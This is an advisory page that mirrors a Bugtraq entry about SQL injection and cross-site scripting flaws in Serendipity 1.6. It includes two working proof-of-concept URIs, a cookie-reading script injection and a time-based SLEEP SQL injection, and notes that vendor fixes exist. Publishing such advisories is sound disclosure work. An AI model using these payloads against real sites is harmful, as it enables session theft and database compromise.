Serendipity SQL Injection and Cross Site Scripting Vulnerabilities

BID:53418

Info

Serendipity SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID: 53418
Class: Input Validation Error
CVE: CVE-2012-2331
CVE-2012-2332
Remote: Yes
Local: No
Published: May 08 2012 12:00AM
Updated: May 15 2012 11:00PM
Credit: Stefan Schurtz
Vulnerable: Serendipity Serendipity 1.6
Not Vulnerable: Serendipity Serendipity 1.6.1

Exploit / POC

Serendipity SQL Injection and Cross Site Scripting Vulnerabilities

Attackers can use a browser to exploit the SQL-injection issue. The attacker must trick an unsuspecting victim into following a malicious URI to exploit the cross-site scripting issue.

The following example URIs are available:

Cross Site-Scripting:
http://www.example.com/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

SQL-Injection:
http://www.example.com/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

Solution / Fix

Serendipity SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
Vendor updates are available. Please see the references for more information.

References

Serendipity SQL Injection and Cross Site Scripting Vulnerabilities

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report